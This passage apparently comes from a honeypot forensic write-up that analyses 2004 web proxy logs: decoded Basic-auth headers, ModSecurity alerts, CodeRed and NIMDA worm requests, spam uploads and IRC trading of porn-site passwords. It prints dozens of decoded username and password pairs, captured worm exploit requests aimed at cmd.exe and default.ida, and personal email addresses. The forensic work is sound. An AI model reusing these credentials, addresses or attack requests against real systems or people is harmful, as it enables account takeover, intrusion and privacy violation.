Authorization: Basic ZGVlY2s6ZGFhY2s=
Authorization: Basic Z2tyZXV6OndhbGtlcg==
Authorization: Basic ZnVubG92ZXI6dG9tbWll
Authorization: Basic ZnRteWVyczp0cmF2ZWw=
Authorization: Basic dHRvbmkxOmN1c3RvbTE=
Authorization: Basic dGV0cm9uOm1vbmtleQ==
Authorization: Basic dG9ueW1lbjpjb21wdXRlcg==
Authorization: Basic VHJpcG9kZDpwYXNzd29yZA==
--CUT--
|
Next, we can use the MIME::base64 PERL module to decode
this data:
# for f in `egrep -i 'Authorization\: Basic' audit_log
| awk '{print $3}'` ; do echo $f | perl -MMIME::Base64 -ne 'print
decode_base64($_)'; echo ; done |less
:
:
:
jonno76:jeanne
printemp:gonzo2
keon200:pimps
x757x:lamer
dqts05d3:aiclzpuq
pats111:ashley
paulheit:pau1heit
paulejg1:tempest
pkwhonet:pkwhonet
playtex:panties
projekt:electron
rangeman:castille
pasky22:eldred
deeck:daack
gkreuz:walker
funlover:tommie
ftmyers:travel
ttoni1:custom1
tetron:monkey
tonymen:computer
Tripodd:password
jander:shogun
Winded:maggie
Yasama:Yasama
ve58bd7e4:xxts6xax5w
--CUT--
|
6.
What does the Mod_Security error message "Invalid Character
Detected" mean? What were the attackers trying to accomplish?
Answer: Mod_Security will generate this error
message based on three different security filters/checks:
·
SecFilterCheckURLEncoding – URL Encoding
validation
Special characters need to be encoded before
they can be transmitted in the URL. Any character can be replaced using the
three character combination %XY, where XY is an hexadecimal character code
(see http://www.rfc-ditor.org/rfc/rfc1738.txt for more details).
Hexadecimal numbers only allow letters A to F, but attackers sometimes use
other letters in order to trick the decoding algorithm. Mod_security checks
all supplied encodings in order to verify they are valid.
·
SecFilterCheckUnicodeEncoding – Unicode encoding validation
Unicode encoding validation first appeared in version
1.6. Normally, it is disabled by default. You should turn it on if your
application or the underlying operating system accept/understand Unicode.
This feature will assume UTF-8 encoding and check for three types of errors:
o
Not enough bytes. UTF-8
supports two, three, four, five, and six byte encodings. ModSecurity will
locate cases when a byte or more is missing.
o
Invalid encoding. The two
most significant bits in most characters are supposed to be fixed to 0x80.
Attackers can use this to subvert Unicode decoders.
o
Overlong characters. ASCII
characters are mapped directly into the Unicode space and are thus
represented with a single byte. However, most ASCII characters can also be
encoded with two, three, four, five, and six characters thus tricking the
decoder into thinking that the character is something else (and, presumably,
avoiding the security check).
·
SecFilterForceByteRange - Byte range check
You can force requests to consist only of bytes from a
certain byte range. This can be useful to avoid stack overflow attacks (since
they usually contain "random" binary content). To only allow bytes from 32 to 126
(inclusive), use the following directive: SecFilterForceByteRange 32
126 Default range values are 0
and 255, i.e. all byte values are allowed.
The following diagram shows a portion of the
ASCII Chart which list each of the entries from 0 – 143:
The full ASCII chart is located here - http://i-technica.com/whitestuff/asciichart.html.
When these three encoding checks are combined, they are able to
identify a large number of attacks/problems.
Below are a few examples:
SOCKS Proxy Scan: This is the same request as discussed above
in the proxy section. Notice that the
mod_security audit_log decodes the “\x04\x04” data into its “^D^A” form.
# grep 203.121.182.190 access_log | head -1
203.121.182.190 - - [09/Mar/2004:22:07:16 -0500]
"\x04\x01" 501 - "-" "-"
# egrep -B1 -A7 "22:07:16" audit_log
========================================
Request: 203.121.182.190 - - [Tue Mar 9 22:07:16 2004] "^D^A" 501
0
Handler: (null)
Error: mod_security: Invalid character detected [4]
----------------------------------------
^D^A
HTTP/0.9 (null)
========================================
|
CodeRed/NIMDA Worm Attacks: Both of these worms used abnormal
encoding to execute their attacks.
CodeRed used binary encoding and NIMDA used double-unicode
encoding. Below are two examples:
# egrep -C10 "Invalid character
detected" audit_log |less
========================================
Request: 68.48.142.117 - - [Tue Mar 9 22:41:34 2004] "GET
/msadc/..%255c../..%255c../..%2
55c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: Invalid character detected [193]
----------------------------------------
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd
.exe?/c+dir HTTP/1.0
Connnection: close
Host: www
mod_security-message: Invalid character detected
mod_security-action: 200
HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
========================================
# egrep -B1 -A15 'default.ida' audit_log |less
========================================
Request: 68.48.205.207 - - [Wed Mar 10 19:14:37
2004] "GET /default.ida?XXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb
d3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 200 5
66
Handler: (null)
Error: mod_security: Invalid URL encoding #2 detected.
----------------------------------------
GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u909
0%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f
f%u0078%u0000%u00=a HTTP/1.0
Content-length: 3379
Content-type: text/xml
mod_security-message: Invalid character detected
mod_security-action: 200
HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
========================================
|
In both cases, the worms were trying to
trick the URL decoding mechanisms on the web server in order to get it to
execute some code.
7.
Several attackers tried to send SPAM by accessing the following
URL - http://mail.sina.com.cn/cgi-bin/sendmsg.cgi. They tried to send email
with an html attachment (files listed in the /upload directory). What does
the SPAM webpage say? Who are the SPAM recipients?
Answer: The html web pages that were captured
in the “/upload” directory are written in Chinese. In order to read the html file, I decided to upload the file to
my own honeypot web site - http://honeypots.sourceforge.net/20040313-174514-68.41.205.235-GoodMornding.htm. I then used an online web translator to
translate the Chinese into English. A
portion of the web page is shown below:
SPAM Recipients: By reviewing the audit_log data for these
POST requests, we can identify the targeted SPAM recipients by inspecting the
MIME header data in the file upload data:
# egrep -B30 "GoodMornding.htm"
audit_log
botaizao489@163.com
-----------------------------707d42d23ce5f
Content-Disposition: form-data;
name="cc"
shuchangjun@sina.com,shuchangjy123@sina.com,shuchanglove520@sina.com,shuchangly@sina.com,shuchangrz@
sina.com,shuchangsc_7@sina.com,shuchangsheng.student@sina.com,shuchangstar@sina.com,shuchangwei@sina.
com,shuchangwen@sina.com,shuchangwwww@sina.com,shuchangyin@sina.com
-----------------------------707d42d23ce5f
Content-Disposition: form-data;
name="bcc"
-----------------------------707d42d23ce5f
Content-Disposition: form-data;
name="subj"
µÍͷ˼¹ÊÓÑ
-----------------------------707d42d23ce5f
Content-Disposition: form-data;
name="htel"
-----------------------------707d42d23ce5f
Content-Disposition: form-data;
name="htelmsg"
bianpian2@sina.com
-----------------------------707d42d23ce5f
Content-Disposition: form-data;
name="msgtxt"
Õ⼸ƪ¾«²ÊµÄÎÄÕ£¬ÊÇÀ´×ÔÔ¶·½ÅóÓѵÄÇ×ÇÐÎʺò,
µã.dd.»÷.ee.´ò.ff.¿ª.
emakcy
»Ø==¸´ : dangchou793@yahoo.com
mzA ghx
o1 G4n5l
-----------------------------707d42d23ce5f
Content-Disposition: form-data; name="atth1";
filename="GoodMornding.htm"
|
The bolded section above entitled –
name=”cc”, lists the recipients of this SPAM email.
8.
Provide some high level statistics on attackers such as:
Top Ten Attacker IP Addresses – cat
access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head –10
Example Requests for each IP - for
f in `cat access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head
-10 | awk '{print $2}'`; do grep $f access_log | head –1 ; done
Order
|
Request #
|
IP Address
|
Example Request
|
Comment
|
1
|
9763
|
67.83.151.132
|
HEAD http://www.sun.com/
|
Checking SUN Website
|
2
|
8349
|
217.160.165.173
|
GET / HTTP/1.0
|
Start of Nessus Scan
|
3
|
6865
|
195.16.40.200
|
CONNECT login.icq.com:443
|
Trying to connect to ICQ
|
4
|
5967
|
68.82.168.149
|
GET
http://www.nikkisplayground.com/fanclub/index.htm
|
Brute Forcing Porn Site
|
5
|
4290
|
81.171.1.165
|
GET
http://www.glocksoft.net/cgi-bin/jenv.cgi
|
Checking Proxy Env
|
6
|
3245
|
61.144.119.66
|
GET
http://www.samair.ru/proxy/proxychecker/results.htm
|
Checking Proxy Env
|
7
|
2984
|
68.189.213.50
|
HEAD http://www.sun.com/
|
Checking SUN Website
|
8
|
2923
|
61.249.170.159
|
GET
http://hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi
|
Checking Proxy ENV
|
9
|
2907
|
61.177.91.33
|
GET http://www.chinaarp.com/
|
Banner Fraud
|
10
|
2831
|
217.162.108.28
|
HEAD
http://www.shanesworld.com/members
|
Brute Forcing Port Site
|
Top Ten Targets: Command used - cat
access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head –10
Order
|
Request
#
|
URL
|
Comment
|
1
|
10928
|
login.icq.com:443
|
Connect to ICQ
|
2
|
4898
|
www.firmhandspanking.com/members/index.htm
|
Brute Force Porn Site
|
3
|
3859
|
www.cnpick.com/show.asp?id=18647
|
Banner Fraud
|
4
|
1575
|
www.sun.com
|
Checking SUN Website
|
5
|
1282
|
hpcgi1.nifty.com/trino/ProxyJ/prxjdg.cgi
|
Checking Proxy ENV
|
6
|
833
|
members.streetblowjobs.com/
|
Brute Force Porn Site
|
7
|
821
|
www.meninpain.com/members/
|
Brute Force Porn Site
|
8
|
820
|
www.realfuckingcouples.com/members/
|
Brute Force Porn Site
|
9
|
817
|
www.busty-teens.org/members/main.htm
|
Brute Force Porn Site
|
10
|
711
|
www.crookedpanties.com/members/
|
Brute Force Porn Site
|
Top User-Agents (Any
weird/fake agent strings?):
Interesting/weird entries –
Number of Requests
|
User-Agent Info
|
Comment
|
79
|
MSIE<81>iMicrosoftRInternetExplo<82><92>er<81>j
|
Binary Data Present in
String
|
55
|
fork()
|
Perhaps some botched
script code
|
45
|
Borg/4.3.5
|
You Will Be Assimilated
|
10
|
pxyscand/2.0
|
Proxy Scanner App
|
8
|
MLDonkey 2.5-12
|
Peer to Peer Client
|
6
|
Anonymizied by Steganos
Internet Anonym
|
Browser Plug-In for
Security
|
5
|
Space Bison/0.02 [fu]
(Win67; X; SK)
|
Browser Plug-In –
Pop-Up Blocker
|
4
|
Unknown
|
???
|
4
|
Nessus
|
Nessus Vulnerability
Scanner
|
2
|
You lose !
|
Rough Talk!
|
Attacker correlation
from DShield and other sources?
If Dshield has data in
the “Total Records against IP” field, then this client has been up to not
good since other people have reported the IP due to abuse. Two out of the Top Ten Attackers were
listed in Dshield –
·
195.16.40.200 - http://www.dshield.org/ipinfo.php?ip=195.16.40.200&Submit=Submit
DShield Profile:
|
Country:
|
RU
|
Contact
E-mail:
|
[no email]
|
AS Number:
|
8350
|
Total
Records against IP:
|
45
|
Number of
targets:
|
2
|
Date
Range:
|
2004-04-22 to 2004-04-22
|
Update
Summary
|
·
61.144.119.66 - http://www.dshield.org/ipinfo.php?ip=61.144.119.66&Submit=Submit
DShield Profile:
|
Country:
|
CN
|
Contact
E-mail:
|
anti-spam@ns.chinanet.cn.net
|
AS Number:
|
4813
|
Total
Records against IP:
|
11
|
Number of
targets:
|
5
|
Date
Range:
|
2004-04-27 to 2004-04-27
|
Update
Summary
|
Bonus Question:
Why do you think the attackers were targeting
pornography websites for brute force attacks? (Besides the obvious physical
gratification scenarios :)
Answer: There are a number of
reasons why attackers target Porn sites:
Credit Card Data: Porn sites use credit
cards for payment and age verification.
This data makes these site a ripe target.
User Credentials As Currency: Once user credentials have been
verified as valid, they then have value. Attackers can then used these credentials
as currency to barter and trade with others.
How do I know this? I noticed
that many of the same clients who were conducting brute force attacks against
port sites, were also using the HTTP CONNECT Method to join IRC channels.
·
·
·
·
Brute Force Attack –
217.229.136.208 - - [10/Mar/2004:11:54:20 -0500] "HEAD http://members.bignaturals.com/
HTTP/1.0" 200 0 "http://members.bignaturals.com/"
"Mozilla/4.6 ( compatible; MSIE 5.01; Windows XP; athome020 )"
|
IRC Connection –
217.229.136.208 - - [10/Mar/2004:03:38:42 -0500] "CONNECT
efnet.xs4all.nl:6667 HTTP/1.0" 2
00 - "-" "-"
|
I decided to monitor the IRC communication
going through the proxypot by running tcpdump in binary capture mode and then
used Honeynet Project’s Privmsg.pl script - http://www.honeynet.org/tools/danalysis/privmsg
- to extract the data. The attackers
joined a channel called, appropriately enough, #xxxpasswords.
·
They were trading the porn site credentials like baseball cards
·
Below are excerpts from the IRC log file:
// PRIVMSG colorized irc sniffer, Max Vision http://whitehats.com/
--CUT—
#xxxpasswords
avs!~avs@dhcp074211.res-hall.northwestern.edu looking for ugas platinum
or mancheck, plz anyone help! and let me know if you need anything! ;)
--CUT—
#xxxpasswords Wsted!sharky@CPE00045a77e8b4-CM014480011704.cpe.net.cable.rogers.com
hi everyone
#xxxpasswords
Wsted!sharky@CPE00045a77e8b4-CM014480011704.cpe.net.cable.rogers.com Request
http://www.lfpcontent.com/hustler
please & thx
--CUT
#xxxpasswords BEN__!~zzz@200.151.71.96 any
can help me out with ifriends?
--CUT—
#xxxpasswords
Wapete17!Krazyinluv@dialup-67.30.48.82.Dial1.Dallas1.Level3.net anyone
trading gay passwords?
|
In the xxxpasswords channel, the attackers were using automated
channel commands to verify the credentials they submit
·
??PassCount
·
??level
·
??spoofer
·
??post
·
??multinet
·
??crossposting
These commands will run a bot program to submit
username/password info to the specified web site in order to verify the
credentials. Below are some excerpts
from the IRC log file -
// PRIVMSG colorized irc sniffer, Max Vision http://whitehats.com/
--CUT—
#xxxpasswords zima-und!reddog@zima.is.h0.ly ??PassCount
#xxxpasswords zima-und!reddog@zima.is.h0.ly ??level
#xxxpasswords
^Zima^!jfk@bzq-218-213-115.red.bezeqint.net -15|14( 9,1 XP 14)15|-Congratulations ShadwDrgn!
Your sites: [XP175808] 14(level 6) [XP175809] 14(level 6) [XP175810]
14(level 6) [XP175811] 14(level 6) [XP175812] 14(level 6) were verified!
#xxxpasswords zima-und!reddog@zima.is.h0.ly ??spoofer
#xxxpasswords ^Zima^!jfk@bzq-218-213-115.red.bezeqint.net
-15|14( 9,1 XP 14)15|-Freebie
site with the compliments of XXXPasswords /// [12XP17759]:3
HTTP://www.x-nudism.com/main/in/ L:4 xona09 P:4 secure09
|
The last bolded entry shows that there is a
“Freebie site” and it provides the authentication credentials – username =
xona09 and password = secure09. Below
is the corresponding proxypot audit_log entry when the IRC bot verified these
credentials:
========================================
Request: 66.20.87.249 - - [Fri Mar 12 19:30:15 2004]
"HEAD http://x-nudism.com/main/in/index.htm HTTP/1.0" 200
0
Handler: proxy-server
Error: mod_security: pausing
[http://x-nudism.com/main/in/index.htm] for 50000 ms
----------------------------------------
HEAD http://x-nudism.com/main/in/index.htm HTTP/1.0
Accept: */*
Accept-Language: en-us,en;q=0.5
Authorization: Basic eG9uYTA5OnNlY3VyZTA5
Host: x-nudism.com
Pragma: no-cache
Referer: http://x-nudism.com/main/in/index.htm
User-Agent: Mozilla/4.73 ( compatible; MSIE 4.0;
Windows 98; DigiExt )
mod_security-message: Access denied with code
200. Pattern match "Basic" at HEADER.
mod_security-action: 200
HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
========================================
|
Even though the proxypot's IP/Hostname was obfuscated from the
logs, can you still determine the probable network block owner?
Answer: There are two
different possibilities:
IP Address in Cookie: In order to try and
protect the IP address of the proxypot in the SoTM logs, I conducted numerous
text anonymization steps using common unix commands such as sed. I wanted to make sure that the proxypot’s
IP address in logs was obfuscated to 192.168.1.103. Well, I should have tried some more “fuzzy logic”
search/replace steps because I missed one cookie that has the proxypot’s IP
address in it J! In the cookie, the “.” separator is URL
Encoded to “%2E”.
========================================
Request:
218.93.58.133 - - [Sat Mar 13 04:38:00 2004] "GET
http://s13.sitemeter.com/js/counter.asp?site=s13firstzoneresult
HTTP/1.0" 200 1938
Handler:
proxy-server
----------------------------------------
GET
http://s13.sitemeter.com/js/counter.asp?site=
s13firstzoneresult
HTTP/1.0
Accept:
*/*
Accept-Language:
en-us
--CUT—
HTTP/1.0
200 OK
Warning:
Subject to Monitoring
Set-Cookie:
IP=68%2E48%2E106%2E109; path=/js
X-Cache:
MISS from www.testproxy.net
========================================
|
Propagation Mechanisms of Worms (Target IP
Selection): Nimda
and Code Red propagate primarily by targeting IP addresses in similar ranges.
Over 75% of the targeted IP addresses are similar to the infected host’s
address, and less than 25% are randomly selected. For example, an infected
host with an address of 24.128.1.1 will target hosts with addresses of 24.*.*.*
and/or 24.128.*.*. The rationale is to distribute the propagation effort
among as many hosts as possible and prevent overlapping efforts---this
enables the worm to spread quickly throughout the entire Internet. An example NIMDA worm request is below –
68.48.142.117
- -
[09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 200 566 "-" "-“
|
We can then
take this IP address and run a WHOIS to verify the Network Block Owner:
Comcast Cable, Inc.
# nslookup
68.48.142.117 | tail -3
Name: pcp01791418pcs.hyatsv01.md.comcast.net
Address: 68.48.142.117
# whois
68.48.142.117
Comcast Cable
Communications, Inc.
JUMPSTART-1 (NET-68-32-0-0-1)
68.32.0.0 - 68.63.255.255
Comcast Cable
Communications, Inc. DC-3 (NET-68-48-0-0-1)
68.48.0.0 - 68.49.255.255
# ARIN WHOIS
database, last updated 2004-05-11 19:15
# Enter ? for
additional hints on searching ARIN's WHOIS database.
|
|